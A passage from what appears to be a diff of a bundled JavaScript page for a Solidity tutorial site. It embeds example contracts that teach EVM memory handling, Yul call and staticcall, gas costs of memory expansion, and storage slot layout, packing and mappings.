    //   0000000000000000000000000000000000000000000000000000000000000005
    //   0000000000000000000000000000000000000000000000000000000000000006
    //   0000000000000000000000000000000000000000000000000000000000000007
    //   0000000000000000000000000000000000000000000000000000000000000008
    //   0000000000000000000000000000000000000000000000000000000000000009
    function encode_struct_array() public pure returns (bytes memory) {
        Point[] memory arr = new Point[](3);
        arr[0] = Point(1, 2, 3);
        arr[1] = Point(4, 5, 6);
        arr[2] = Point(7, 8, 9);
        return abi.encode(arr);
    }
}

contract MemReturn {
    function test_return_vals() public pure returns (uint256, uint256) {
        // return(start, len) - Halt execution and return data stored in memory from start to start + len
        assembly {
            mstore(0x80, 11)
            mstore(0xa0, 22)
            return(0x80, 0x40)
        }
    }

    function test_return_dyn_arr() public pure returns (uint256[] memory) {
        // ABI encode uint256[] array with 3 elements 11, 22 and 33
        assembly {
            // offset
            mstore(0x80, 0x20)
            // length
            mstore(add(0x80, 0x20), 3)
            // array elements
            mstore(add(0x80, 0x40), 11)
            mstore(add(0x80, 0x60), 22)
            mstore(add(0x80, 0x80), 33)
            // No need to update free memory pointer - function execution ends here
            return(0x80, mul(5, 0x20))
        }
    }

    function test_return() public pure returns (uint256, uint256) {
        // Returns (11, 22)
        test_return_vals();
        // This code will never execute
        return (333, 444);
    }
}

contract MemRevert {
    function test_revert() public pure {
        // revert(start, len) - Revert execution and return data store in memory from start to start + len
        assembly {
            mstore(0x80, "ERROR HERE")
            revert(0x80, 0x20)
        }
    }

    function test_revert_with_error_msg() public pure {
        assembly {
            let p := mload(0x40)
            // function selector of Error(string)
            // 0x08c379a000000000000000000000000000000000000000000000000000000000
            // 0x08c379a0 is 32 bits, shift left by 224 to make it 256 bits
            // 255 - 31 = 224
            mstore(p, shl(224, 0x08c379a0))
            // String offset
            mstore(add(p, 0x04), 0x20)
            // String length
            mstore(add(p, 0x24), 5)
            // Message (must be less than 32 bytes)
            mstore(add(p, 0x44), "ERROR")
            // function selector + offset + string length + string message
            // = 0x04 + 0x20 + 0x20 + 0x20
            // = 0x64
            revert(p, 0x64)
        }
    }
}

contract MemKeccak {
    function test_keccak() public pure returns (bytes32) {
        // keccak256(start, len) - Keccak256 from data in memory from start to start + len
        assembly {
            mstore(0x80, 1)
            mstore(0xa0, 2)

            let h := keccak256(0x80, 0x40)
            mstore(0xc0, h)

            return(0xc0, 0x20)
        }
    }

    function keccak() public pure returns (bytes32) {
        return keccak256(abi.encodePacked(uint256(1), uint256(2)));
    }
}

contract Target {
    function return_uint256(uint256 x) public pure returns (uint256) {
        return x;
    }

    function return_bytes(uint256 n) public pure returns (bytes memory) {
        bytes memory out = new bytes(n);
        for (uint256 i; i < n; i++) {
            out[i] = 0xab;
        }
        return out;
    }

    function return_uint256_arr(uint256 n)
        public
        pure
        returns (uint256[] memory)
    {
        uint256[] memory out = new uint256[](n);
        for (uint256 i = 0; i < n; i++) {
            out[i] = i + 1;
        }
        return out;
    }
}

// calldatacopy(p, start, size) - Copy start to start + size calldata to memory starting at pointer p
// returndatasize - Get size of returned data from call, staticcall or delegatecall
// returndatacopy(p, start, size) - Copy start to start + size return data to memory starting at pointer p
// call(g, a, v, in, in_size, out, out_size)
// - call contract at a, use max g gas, send v wei
// - with input from memory in to in + in_size
// - use memory out to out + out_size for output
// staticcall(g, a, in, in_size, out, out_size) - read only version of call
contract YulStaticCall {
    function test_staticcall(address a, bytes calldata data) public view {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)

            let ok := staticcall(gas(), a, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // p := mload(0x40)
            let return_data_size := returndatasize()
            // Copy returned data to memory
            // Is it safe to overwrite memory that was used for inputs?
            returndatacopy(p, 0, return_data_size)
            return(p, return_data_size)
        }
    }

    function test_abi_decode_uint256(address a, bytes calldata data)
        public
        view
        returns (uint256)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_bytes(address a, bytes calldata data)
        public
        view
        returns (bytes memory)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_uint256_arr(address a, bytes calldata data)
        public
        view
        returns (uint256[] memory)
    {
        test_staticcall(a, data);
    }

    function test_staticcall_return_abi_encoded_bytes(
        address addr,
        bytes calldata data
    ) public view returns (bytes memory out, uint256 return_data_size) {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)
            // Update free memory pointer
            mstore(0x40, add(p, data.length))

            let ok := staticcall(gas(), addr, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // return_data_size = 32  for calling Target.return_uint256 -> uint256
            //                  = 96  for calling Target.return_bytes -> bytes[] (32 offset, 32 length, 3 bytes padded to 32)
            //                  = 160 for calling Target.return_uint256_arr -> uint256[] (32 offset, 32 length, 32 x 3 elements)
            return_data_size := returndatasize()
            // Store length of return data to out
            // pointer to out = 0x60 (zero slot)
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }
}

contract Counter {
    uint256 public count;

    function inc() public returns (uint256) {
        count += 1;
        return count;
    }
}

contract YulCall {
    function test_call(address a, bytes memory data)
        public
        payable
        returns (bytes memory out)
    {
        assembly {
            // 0x80
            let data_ptr := data
            // 0x60
            let out_ptr := out

            let data_size := mload(data)
            let data_start := add(data, 0x20)
            let ok := call(gas(), a, callvalue(), data_start, data_size, 0, 0)

            if iszero(ok) { revert(0, 0) }

            let return_data_size := returndatasize()
            // Store length of return data to out
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }

    function test_inc(address counter) public returns (uint256 count) {
        bytes memory res = test_call(counter, abi.encodeCall(Counter.inc, ()));
        count = abi.decode(res, (uint256));
    }
}

// Memory expansion gas cost
// Gas cost is quadratic to memory allocation.
contract MemExp {
    function alloc_mem(uint256 n) external view returns (uint256) {
        uint256 gas_start = gasleft();
        uint256[] memory arr = new uint256[](n);
        uint256 gas_end = gasleft();
        return gas_start - gas_end;
    }
}

// arr size | gas
//        0 |    120
//        1 |    178
//       10 |    232
//       20 |    293
//       30 |    354
//       40 |    415
//       50 |    477
//       60 |    540
//       70 |    602
//       80 |    666
//       90 |    729
//      100 |    793
//      110 |    857
//      120 |    922
//      130 |    987
//      140 |   1053
//      150 |   1118
//      160 |   1185
//      170 |   1251
//      180 |   1318
//      190 |   1386
//      200 |   1454

//     1000 |   8144
//     2000 |  20023
//     3000 |  35808
//     4000 |  55500
//     5000 |  79097
//     6000 | 106601
//     7000 | 138011
//     8000 | 173328
//     9000 | 212550
//    10000 | 255679
//    11000 | 302715
//    12000 | 353656
//    13000 | 408504
//    14000 | 467257
//    15000 | 529918
//    16000 | 596484
//    17000 | 666957
//    18000 | 741336
//    19000 | 819621
//    20000 | 901812
"}],kw=`

                        Examples of

                        • Reading and writing to memory with assembly
                        • Memory layout in Solidity of different data types
                          • @@ -8311,7 +8311,7 @@ assertion probably means that there is a bug.

                          References

                          Solidity document

                          EVM Codes

                          -`,Ww=({prev:s,next:a})=>r.jsx(A,{version:mw,title:bw,description:ww,html:Zw,prev:s,next:a,codes:kw}),Bw="0.8.24",Gw="EVM Storage",Vw="Example of EVM storage in Solidity",fw=[{fileName:"EVMStorage.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Yul - language used for Solidity inline assembly
contract YulIntro {
    // Yul assignment
    function test_yul_var() public pure returns (uint256) {
        uint256 s = 0;

        assembly {
            // Declare variable
            let x := 1
            // Reassign
            x := 2
            // Assign to Solidity variable
            s := 2
        }

        return s;
    }

    // Yul types (everything is bytes32)
    function test_yul_types()
        public
        pure
        returns (bool x, uint256 y, bytes32 z)
    {
        assembly {
            x := 1
            y := 0xaaa
            z := "Hello Yul"
        }

        return (x, y, z);
    }
}

contract EVMStorageSingleSlot {
    // EVM storage
    // 2**256 slots, each slot can store up to 32 bytes
    // Slots are assigned in the order the state variables are declared
    // Data < 32 bytes are packed into a slot (right to left)
    // sstore(k, v) = store v to slot k
    // sload(k) = load 32 bytes from slot k

    // Single variable stored in one slot
    // slot 0
    uint256 public s_x;
    // slot 1
    uint256 public s_y;
    // slot 2
    bytes32 public s_z;

    function test_sstore() public {
        assembly {
            sstore(0, 111)
            sstore(1, 222)
            sstore(2, 0xababab)
        }
    }

    function test_sstore_again() public {
        // Access slot using .slot
        assembly {
            sstore(s_x.slot, 123)
            sstore(s_y.slot, 456)
            sstore(s_z.slot, 0xcdcdcd)
        }
    }

    function test_sload()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(0)
            y := sload(1)
            z := sload(2)
        }

        return (x, y, z);
    }

    function test_sload_again()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(s_x.slot)
            y := sload(s_y.slot)
            z := sload(s_z.slot)
        }

        return (x, y, z);
    }
}

contract EVMStoratePackedSlotBytes {
    // slot 0 (packed right to left)
    bytes4 public b4 = 0xabababab;
    bytes2 public b2 = 0xcdcd;

    function get() public view returns (bytes32 b32) {
        assembly {
            b32 := sload(0)
        }
    }
}

contract BitMasking {
    function test_mask() public pure returns (bytes32 mask) {
        assembly {
            // |       256 bits        |
            // 000 ... 000 | 111 ... 111
            //             | 16 bits
            // 0x000000000000000000000000000000000000000000000000000000000000ffff
            mask := sub(shl(16, 1), 1)
        }
    }

    function test_shift_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 000 ... 000 | 111 ... 111 | 000 ... 000 |
            //             | 16 bits     | 32 bits
            // 0x0000000000000000000000000000000000000000000000000000ffff00000000
            mask := shl(32, sub(shl(16, 1), 1))
        }
    }

    function test_not_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 111 ... 111 | 000 ... 000 | 111 ... 111 |
            //             | 16 bits     | 32 bits
            // 0xffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff
            mask := not(shl(32, sub(shl(16, 1), 1)))
        }
    }
}

contract EVMStoragePackedSlot {
    // Data < 32 bytes are packed into a slot
    // Bit masking (how to create 111...111)
    // slot, offset

    // slot 0
    uint128 public s_a;
    uint64 public s_b;
    uint32 public s_c;
    uint32 public s_d;
    // slot 1
    // 20 bytes = 160 bits
    address public s_addr;
    // 96 bits
    uint64 public s_x;
    uint32 public s_y;

    function test_sstore() public {
        assembly {
            // Load 32 bytes from slot0
            let v := sload(0)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 11
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 11
            v := or(v, 11)

            // Set s_b = 22
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(128, sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(128, 22))

            // Set s_c = 33
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(192, sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(192, 33))

            // Set s_d = 44
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(224, sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(224, 44))

            // Store new value to slot0
            sstore(0, v)
        }
    }

    function test_slot_0_offset()
        public
        pure
        returns (
            uint256 a_offset,
            uint256 b_offset,
            uint256 c_offset,
            uint256 d_offset
        )
    {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            a_offset := s_a.offset
            b_offset := s_b.offset
            c_offset := s_c.offset
            d_offset := s_d.offset
        }
    }

    function test_slot_1_offset()
        public
        pure
        returns (uint256 addr_offset, uint256 x_offset, uint256 y_offset)
    {
        // addr_offset = 0
        // x_offset = 20
        // y_offset = 28
        assembly {
            addr_offset := s_addr.offset
            x_offset := s_x.offset
            y_offset := s_y.offset
        }
    }

    // slot and offset
    function test_sstore_using_offset() public {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            // Load 32 bytes from slot0
            let v := sload(s_a.slot)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 111
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 1
            v := or(v, 111)

            // Set s_b = 222
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(mul(s_b.offset, 8), sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(mul(s_b.offset, 8), 222))

            // Set s_c = 333
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(mul(s_c.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(mul(s_c.offset, 8), 333))

            // Set s_d = 444
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(mul(s_d.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(mul(s_d.offset, 8), 444))

            // Store new value to slot0
            sstore(s_a.slot, v)
        }
    }
}

contract EVMStorageStruct {
    struct SingleSlot {
        uint128 x;
        uint64 y;
        uint64 z;
    }

    struct MultipleSlots {
        uint256 a;
        uint256 b;
        uint256 c;
    }

    // slot 0
    SingleSlot public single = SingleSlot({x: 1, y: 2, z: 3});
    // slot 1, 2, 3
    MultipleSlots public multi = MultipleSlots({a: 11, b: 22, c: 33});

    function test_get_single_slot_struct()
        public
        view
        returns (uint128 x, uint64 y, uint64 z)
    {
        assembly {
            let s := sload(0)
            //  z |  y | x
            // 64 | 64 | 128 bits
            // Casting cuts off bits to the left
            x := s
            y := shr(128, s)
            z := shr(192, s)
        }
    }

    function test_get_multiple_slots_struct()
        public
        view
        returns (uint256 a, uint256 b, uint256 c)
    {
        assembly {
            a := sload(1)
            b := sload(2)
            c := sload(3)
        }
    }
}

contract EVMStorageConstants {
    // slot 0
    uint256 public s0 = 1;
    // Constants and immutables don't use storage
    uint256 public constant X = 123;
    address public immutable owner;
    // slot 1
    uint256 public s1 = 2;

    constructor() {
        owner = msg.sender;
    }

    function test_get_slots() public view returns (uint256 v0, uint256 v1) {
        assembly {
            v0 := sload(0)
            v1 := sload(1)
        }
    }
}

contract EVMStorageFixedArray {
    // Fixed array with elements = 32 bytes, slot of element = slot where array is declared + index of array element
    // slots 0, 1, 2
    uint256[3] private arr_0 = [1, 2, 3];
    // slots 3, 4, 5
    uint256[3] private arr_1 = [4, 5, 6];
    // slot + index of packed data
    // slots 6, 6, 7, 7, 8
    uint128[5] private arr_2 = [7, 8, 9, 10, 11];

    function test_arr_0(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_0 starts from slot 0
            v := sload(add(0, i))
        }
    }

    function test_arr_1(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_1 starts from slot 3
            v := sload(add(3, i))
        }
    }

    function test_arr_2(uint256 i) public view returns (uint128 v) {
        assembly {
            // arr_2 starts from slot 6
            let b32 := sload(add(6, div(i, 2)))
            // slot 6 = 1st element | 0th element
            // slot 7 = 3rd element | 2nd element
            // slot 8 = 000 ... 000 | 4th element

            // i is even => get right 128 bits => cast bytes32 to uint128 (cut off left 128 bits)
            // i is odd  => get left 128 bits  => shift right 128 bits

            switch mod(i, 2)
            case 1 { v := shr(128, b32) }
            default { v := b32 }
        }
    }
}

contract EVMStorageDynamicArray {
    // slot of element = keccak256(slot where this array is declared) + size of element * index of element
    // keccak256(0) + 1 * index
    uint256[] private arr = [11, 22, 33];
    // keccak256(1) + 1 / 2 * index
    uint128[] private arr_2 = [1, 2, 3];

    function test_arr(uint256 slot, uint256 i)
        public
        view
        returns (uint256 v, bytes32 b32, uint256 len)
    {
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            v := sload(add(start, i))
            b32 := v
        }
    }
}

contract EVMStorageMapping {
    // slot of value = keccack256(key, slot where mapping is declared)
    mapping(address => uint256) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1] = 11;
        map[ADDR_2] = 22;
        map[ADDR_3] = 33;
    }

    function test_mapping(address key) public view returns (uint256 v) {
        uint256 slot = 0;
        bytes32 slot_v = keccak256(abi.encode(key, slot));

        assembly {
            v := sload(slot_v)
        }
    }
}

contract EVMStorageNestedMapping {
    // key0 => key1 => val
    // slot of value = keccak256(key1, keccack256(key0, slot where nested mapping is declared))
    mapping(address => mapping(address => uint256)) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1][ADDR_2] = 11;
        map[ADDR_2][ADDR_3] = 22;
        map[ADDR_3][ADDR_1] = 33;
    }

    function test_nested_mapping(address key_0, address key_1)
        public
        view
        returns (uint256 v)
    {
        uint256 slot = 0;
        bytes32 s0 = keccak256(abi.encode(key_0, slot));
        bytes32 s1 = keccak256(abi.encode(key_1, s0));

        assembly {
            v := sload(s1)
        }
    }
}

contract EVMStorageMappingArray {
    // slot of value in a mapping = keccak256(key, slot)
    // slot of array element = keccak256(slot) + index
    // mapping -> array -> keccak256(keccak256(key, slot of map declaration)) + index
    mapping(address => uint256[]) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);

    constructor() {
        map[ADDR_1].push(11);
        map[ADDR_1].push(22);
        map[ADDR_1].push(33);
        map[ADDR_2].push(44);
        map[ADDR_2].push(55);
        map[ADDR_2].push(66);
    }

    function test_map_arr(address addr, uint256 i)
        public
        view
        returns (uint256 v, uint256 len)
    {
        uint256 map_slot = 0;
        bytes32 map_hash = keccak256(abi.encode(addr, map_slot));
        bytes32 arr_hash = keccak256(abi.encode(map_hash));

        assembly {
            len := sload(map_hash)
            v := sload(add(arr_hash, i))
        }
    }
}

contract EVMStorageDynamicArrayStruct {
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // slot of element = keccak256(slot where this array is declared) + index of element
    // keccak256(0) + index * size of struct
    Point[] private arr;

    constructor() {
        arr.push(Point(11, 22, 33));
        arr.push(Point(44, 55, 66));
        arr.push(Point(77, 88, 99));
    }

    function test_struct_arr(uint256 i)
        public
        view
        returns (uint256 x, uint128 y, uint128 z, uint256 len)
    {
        uint256 slot = 0;
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            // s0 = keccak256(0)
            // index | slot        | values
            //     0 | slot s0 + 0 | arr[0].x
            //     0 | slot s0 + 1 | arr[0].z | arr[0].y
            //     1 | slot s0 + 2 | arr[1].x
            //     1 | slot s0 + 3 | arr[1].z | arr[1].y
            //     2 | slot s0 + 4 | arr[2].x
            //     2 | slot s0 + 5 | arr[2].z | arr[2].y
            x := sload(add(start, mul(i, 2)))
            let zy := sload(add(start, add(mul(i, 2), 1)))
            // uint128 cuts off left most 128 bits from 32 bytes
            y := zy
            z := shr(128, zy)
        }
    }
}
"}],Yw=`

                          Examples of

                          +`,Zw=({prev:s,next:a})=>r.jsx(A,{version:yw,title:mw,description:bw,html:kw,prev:s,next:a,codes:ww}),Ww="0.8.24",Bw="EVM Storage",Gw="Example of EVM storage in Solidity",Vw=[{fileName:"EVMStorage.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Yul - language used for Solidity inline assembly
contract YulIntro {
    // Yul assignment
    function test_yul_var() public pure returns (uint256) {
        uint256 s = 0;

        assembly {
            // Declare variable
            let x := 1
            // Reassign
            x := 2
            // Assign to Solidity variable
            s := 2
        }

        return s;
    }

    // Yul types (everything is bytes32)
    function test_yul_types()
        public
        pure
        returns (bool x, uint256 y, bytes32 z)
    {
        assembly {
            x := 1
            y := 0xaaa
            z := "Hello Yul"
        }

        return (x, y, z);
    }
}

contract EVMStorageSingleSlot {
    // EVM storage
    // 2**256 slots, each slot can store up to 32 bytes
    // Slots are assigned in the order the state variables are declared
    // Data < 32 bytes are packed into a slot (right to left)
    // sstore(k, v) = store v to slot k
    // sload(k) = load 32 bytes from slot k

    // Single variable stored in one slot
    // slot 0
    uint256 public s_x;
    // slot 1
    uint256 public s_y;
    // slot 2
    bytes32 public s_z;

    function test_sstore() public {
        assembly {
            sstore(0, 111)
            sstore(1, 222)
            sstore(2, 0xababab)
        }
    }

    function test_sstore_again() public {
        // Access slot using .slot
        assembly {
            sstore(s_x.slot, 123)
            sstore(s_y.slot, 456)
            sstore(s_z.slot, 0xcdcdcd)
        }
    }

    function test_sload()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(0)
            y := sload(1)
            z := sload(2)
        }

        return (x, y, z);
    }

    function test_sload_again()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(s_x.slot)
            y := sload(s_y.slot)
            z := sload(s_z.slot)
        }

        return (x, y, z);
    }
}

contract EVMStoratePackedSlotBytes {
    // slot 0 (packed right to left)
    bytes4 public b4 = 0xabababab;
    bytes2 public b2 = 0xcdcd;

    function get() public view returns (bytes32 b32) {
        assembly {
            b32 := sload(0)
        }
    }
}

contract BitMasking {
    function test_mask() public pure returns (bytes32 mask) {
        assembly {
            // |       256 bits        |
            // 000 ... 000 | 111 ... 111
            //             | 16 bits
            // 0x000000000000000000000000000000000000000000000000000000000000ffff
            mask := sub(shl(16, 1), 1)
        }
    }

    function test_shift_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 000 ... 000 | 111 ... 111 | 000 ... 000 |
            //             | 16 bits     | 32 bits
            // 0x0000000000000000000000000000000000000000000000000000ffff00000000
            mask := shl(32, sub(shl(16, 1), 1))
        }
    }

    function test_not_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 111 ... 111 | 000 ... 000 | 111 ... 111 |
            //             | 16 bits     | 32 bits
            // 0xffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff
            mask := not(shl(32, sub(shl(16, 1), 1)))
        }
    }
}

contract EVMStoragePackedSlot {
    // Data < 32 bytes are packed into a slot
    // Bit masking (how to create 111...111)
    // slot, offset

    // slot 0
    uint128 public s_a;
    uint64 public s_b;
    uint32 public s_c;
    uint32 public s_d;
    // slot 1
    // 20 bytes = 160 bits
    address public s_addr;
    // 96 bits
    uint64 public s_x;
    uint32 public s_y;

    function test_sstore() public {
        assembly {
            // Load 32 bytes from slot0
            let v := sload(0)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 11
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 11
            v := or(v, 11)

            // Set s_b = 22
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(128, sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(128, 22))

            // Set s_c = 33
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(192, sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(192, 33))

            // Set s_d = 44
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(224, sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(224, 44))

            // Store new value to slot0
            sstore(0, v)
        }
    }

    function test_slot_0_offset()
        public
        pure
        returns (
            uint256 a_offset,
            uint256 b_offset,
            uint256 c_offset,
            uint256 d_offset
        )
    {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            a_offset := s_a.offset
            b_offset := s_b.offset
            c_offset := s_c.offset
            d_offset := s_d.offset
        }
    }

    function test_slot_1_offset()
        public
        pure
        returns (uint256 addr_offset, uint256 x_offset, uint256 y_offset)
    {
        // addr_offset = 0
        // x_offset = 20
        // y_offset = 28
        assembly {
            addr_offset := s_addr.offset
            x_offset := s_x.offset
            y_offset := s_y.offset
        }
    }

    // slot and offset
    function test_sstore_using_offset() public {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            // Load 32 bytes from slot0
            let v := sload(s_a.slot)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 111
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 1
            v := or(v, 111)

            // Set s_b = 222
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(mul(s_b.offset, 8), sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(mul(s_b.offset, 8), 222))

            // Set s_c = 333
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(mul(s_c.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(mul(s_c.offset, 8), 333))

            // Set s_d = 444
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(mul(s_d.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(mul(s_d.offset, 8), 444))

            // Store new value to slot0
            sstore(s_a.slot, v)
        }
    }
}

contract EVMStorageStruct {
    struct SingleSlot {
        uint128 x;
        uint64 y;
        uint64 z;
    }

    struct MultipleSlots {
        uint256 a;
        uint256 b;
        uint256 c;
    }

    // slot 0
    SingleSlot public single = SingleSlot({x: 1, y: 2, z: 3});
    // slot 1, 2, 3
    MultipleSlots public multi = MultipleSlots({a: 11, b: 22, c: 33});

    function test_get_single_slot_struct()
        public
        view
        returns (uint128 x, uint64 y, uint64 z)
    {
        assembly {
            let s := sload(0)
            //  z |  y | x
            // 64 | 64 | 128 bits
            // Casting cuts off bits to the left
            x := s
            y := shr(128, s)
            z := shr(192, s)
        }
    }

    function test_get_multiple_slots_struct()
        public
        view
        returns (uint256 a, uint256 b, uint256 c)
    {
        assembly {
            a := sload(1)
            b := sload(2)
            c := sload(3)
        }
    }
}

contract EVMStorageConstants {
    // slot 0
    uint256 public s0 = 1;
    // Constants and immutables don't use storage
    uint256 public constant X = 123;
    address public immutable owner;
    // slot 1
    uint256 public s1 = 2;

    constructor() {
        owner = msg.sender;
    }

    function test_get_slots() public view returns (uint256 v0, uint256 v1) {
        assembly {
            v0 := sload(0)
            v1 := sload(1)
        }
    }
}

contract EVMStorageFixedArray {
    // Fixed array with elements = 32 bytes, slot of element = slot where array is declared + index of array element
    // slots 0, 1, 2
    uint256[3] private arr_0 = [1, 2, 3];
    // slots 3, 4, 5
    uint256[3] private arr_1 = [4, 5, 6];
    // slot + index of packed data
    // slots 6, 6, 7, 7, 8
    uint128[5] private arr_2 = [7, 8, 9, 10, 11];

    function test_arr_0(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_0 starts from slot 0
            v := sload(add(0, i))
        }
    }

    function test_arr_1(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_1 starts from slot 3
            v := sload(add(3, i))
        }
    }

    function test_arr_2(uint256 i) public view returns (uint128 v) {
        assembly {
            // arr_2 starts from slot 6
            let b32 := sload(add(6, div(i, 2)))
            // slot 6 = 1st element | 0th element
            // slot 7 = 3rd element | 2nd element
            // slot 8 = 000 ... 000 | 4th element

